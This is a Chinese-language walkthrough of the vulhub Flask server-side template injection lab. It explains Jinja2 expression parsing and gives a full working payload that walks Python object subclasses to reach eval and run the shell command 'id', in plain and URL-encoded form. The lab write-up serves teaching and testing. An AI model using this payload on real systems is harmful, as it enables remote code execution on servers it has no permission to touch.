flask/ssti(服务器端模板注入(SSTI) 漏洞)
·
1.进入vulhub/flask/ssti后,docker-compose up -d拉取环境(docker-compose down关闭环境)
2.ifconfig查看靶机ip:192.168.11.135,docker ps查看端口:8000,访问http://192.168.11.135:8000

3.进入src,cat app.py,源码中有:

对以上两句话的分析eg:
假设请求的URL是:http://example.com/?name=Alice
request.args.get('name', 'guest') 会返回 'Alice',因为name参数存在。
如果请求的URL是:http://example.com/
request.args.get('name', 'guest') 会返回 'guest',因为name参数不存在。
问号作用:路径+?+参数
eg:http://example.com/?name=Alice
那么在url里输入参数:http://192.168.11.135:8000/?name={{%27mike%27}}
漏洞原理:模板引擎的作用,
Flask 等框架使用模板引擎(如 Jinja2)来动态生成 HTML 页面。
模板引擎允许将用户输入嵌入到模板中, {{}}中的内容会被解析为表达式而不是普通文本。
{{'mike'}} 会被解析为模板表达式。
模板引擎会尝试将 'mike' 作为字符串处理,并返回 mike。
注:在url写参数时''要进行url编码:%27

至此说明了存在ssti漏洞,接下来:
eval 是 Python 中的一个内置函数,它可以动态执行字符串形式的 Python 代码。我们目标通过利用 SSTI 漏洞找到并调用 eval,从而在服务器上执行任意代码,进一步控制服务器。
补充知识:
语句{%...%}
变量{{...}}
注释{#...#}
过程:寻找直接继承自object的子类,在这些子类中找warnings.catch_warnings,其全局变量中包含 eval(dict)。__globals__ 是 __init__ 函数的属性(dict),指向该函数所在模块的全局命名空间。
{% for c in [].__class__.__base__.__subclasses__() %} 遍历Python中所有直接继承自object的类:空列表也是一个对象,调用class返回其类型'class',class在调用base找到其父类object,subclasses是找object的直接子类。python中所有对象都直接或间接继承于object。
{% if c.__name__ == 'catch_warnings' %} 找出子类中名为catch_warinings的类
{% for b in c.__init__.__globals__.values() %} 在这个类的初始化函数(__init__)中包含的全
局变量里进行遍历,b是globals的变量
{% if b.__class__ == {}.__class__ %} 假如某个全局变量的类型是字典 (dict) 类型
{% if 'eval' in b.keys() %} 检查这个字典是否有 'eval' 这个键。
{{ b['eval']('__import__("os").popen("id").read()') }} 调用eval函数执行命令
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
最后再对这个payload url编码:
%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__%28%29%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values%28%29%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys%28%29%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D%28%27__import__%28%22os%22%29.popen%28%22id%22%29.read%28%29%27%29%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
加入到url里:http:192.168.11.135:8000?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__%28%29%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values%28%29%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys%28%29%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D%28%27__import__%28%22os%22%29.popen%28%22id%22%29.read%28%29%27%29%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
即可获得系统id
模板注入漏洞:
模板引擎:模板引擎的关键就是只需要用户提供数据给模板便可以生成前端html页面。模板引擎并不安全:SST它能在模板中执行本机函数,这就意味着如果攻击者能够向模板文件中写入这种表达式,他们就能够执行任意函数。那 require() 和 eval() 函数来说,require() 函数会包含一个文件并执行,eval() 函数不是执行文件,而是将字符串当成代码来执行。将未经处理的输入传递给 eval() 函数是极其危险的。
漏洞原因:漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。
更多推荐



所有评论(0)